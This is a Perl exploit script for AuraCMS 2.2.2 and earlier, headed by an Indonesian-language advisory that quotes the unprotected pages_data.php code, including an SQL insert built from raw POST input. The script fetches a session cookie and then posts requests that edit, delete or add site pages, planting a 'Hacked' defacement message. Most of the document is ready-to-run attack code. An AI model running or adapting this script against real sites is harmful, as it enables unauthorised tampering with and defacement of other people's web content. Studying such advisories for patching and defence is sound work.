AuraCMS

#!/usr/bin/perl
     # k1tk4t Public Security Advisory
     # ////////////////////////////////////////////////////////////
     # AuraCMS <= 2.2.2 (pages_data.php) Arbitrary Edit/Add/Delete data halaman exploit
     # Vendor : http://www.auracms.org/
     # Kutu : ./js/pages/pages_data.php
     # Keterangan :
     # pada berkas pages_data.php dari awal hingga akhir tidak adanya aturan yang jelas, siapa, hak, level
     # dalam mengakses berkas ini, kenapa perlu kejelasan aturan untuk berkas ini?
     # karena didalam berkas ini terdapat kode yang dapat menghapus(delete)
     # menambahkan(add), mengedit(edit) data halaman didalam database auracms, sehingga
     # dengan tidak adanya kejelasan aturan pada berkas pages_data.php ini
     # maka berkas ini mutlak terdapat KUTU yang amat menjijikan.... huee..... :(
     # potongan kode dari pages_data.php
     # --//--
     # 03: @ob_start('ob_gzhandler');
     # 04: @header("Content-type: text/plain; charset=utf-8;");
     # 05: @header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
     # 06: @header("Pragma: no-cache");
     # 07:
     # 08: include '../../includes/session.php';
     # 09: include '../../includes/config.php';
     # 10: include '../../includes/fungsi.php';
     # 11: include '../../includes/mysql.php';
     # 12: include '../../includes/json.php';
     # 13:
     # 14:
     # 15: if (!isset($_SESSION['mod_ajax'])){
     # 16: exit;
     # 17: }
     # --//--
     # Lihat.... tidak ada aturan di baris pertama hingga baris ke 17, mengenai siapa, hak, level dan aturan lainnya
     # dalam mengakses berkas ini
     # --//--
     # 20: switch (@$_GET['action']){
     # 21:
     # 22: case 'add':
     # 23: $_POST = array_map ('decodeURIComponent',$_POST);
     # 24: $judul = $_POST['judul'];
     # 25: $konten = $_POST['konten'];
     # 26: $open['error'] = false;
     # 27: $open['errorpesan'] = '';
     # 28: if (!empty($judul) && !empty($konten)){
     # 29: $query = mysql_query ("INSERT INTO `halaman` (`judul`,`konten`) VALUES ('$judul','$konten')");
     # 30: if ($query){
     # --//--
     # diatas ini satu contoh bagaimana berkas ini berperilaku, lihat... bisa menambahkan data halaman pada database kan...
     # kacoooo, kacoooo, :(
     # selebihnya liat sendiri yaa... panjang soalnya... :p
     #
     # Terimakasih untuk ;
     # str0ke,DNX,n0c0py,L41n,
     # NTOS-Team->[fl3xu5,opt1lc,sakitjiwa],
     # eCHo->[y3dips,K-159,lirva32,dan staff lainnya]
     use LWP::UserAgent;
     use HTTP::Cookies;
     use Getopt::Long;
     if ( !$ARGV[1] ) {
     print "\n ///////////////////////////////////////////////////////////";
     print "\n // ..::> k1tk4t <::.. //";
     print "\n // AuraCMS <= 2.2.2 (pages_data.php) //";
     print "\n // Arbitrary Edit/Add/Delete data halaman exploit //";
     print "\n ///////////////////////////////////////////////////////////";
     print "\n[!] ";
     print "\n[!] Penggunaan : perl auracms_pagesdata.pl [Site] [Path] [id_halaman] [options]";
     print "\n[!] Contoh : perl auracms_pagesdata.pl localhost /toko/ 1 -o 1";
     print "\n[!] Options : 1=Edit , 2=Delete, 3=Add";
     print "\n";
     exit;
     }
     my $host = $ARGV[0];
     my $path = $ARGV[1];
     my $idhalaman = $ARGV[2];
     my $isijudul = "AuraCMS <= 2.2.2 Hacked";
     my $isikonten = "Mohon Perhatian!!! terdapat kutu pada berkas pages_data.php, Arbitrary Edit-Add-Delete data halaman";
     my $ambilkue = "http://".$host.$path."index.php";
     my $browser = LWP::UserAgent->new;
     my $kue = HTTP::Cookies->new();
     my $hasil = "";
     %options = ();
     GetOptions(\%options, "o=i",);
     if($options{"o"} && $options{"o"} == 1) {
     $arbitrary = "http://".$host.$path."js/pages/pages_data.php?action=edit_saved&id=";
     }
     if($options{"o"} && $options{"o"} == 2) {
     $arbitrary = "http://".$host.$path."js/pages/pages_data.php?action=delete&id=";
     }
     if($options{"o"} && $options{"o"} == 3) {
     $arbitrary = "http://".$host.$path."js/pages/pages_data.php?action=add&id=";
     }
     $hasil = $browser->get($arbitrary);
     if(!$hasil->is_success) {
     die("[!] Gagal, berkas pages_data.php tidak tersedia\n");
     }
     # ambil kue dari website
     $hasil = $browser->get($ambilkue);
     $kue->extract_cookies($hasil);
     $browser->cookie_jar($kue);
     # arbitrary exploit
     $arbitrary .= $idhalaman;
     $hasil = $browser->post($arbitrary,["judul"=>$isijudul,"konten"=>$isikonten],);
     $konten = $hasil->content;
     print $konten ;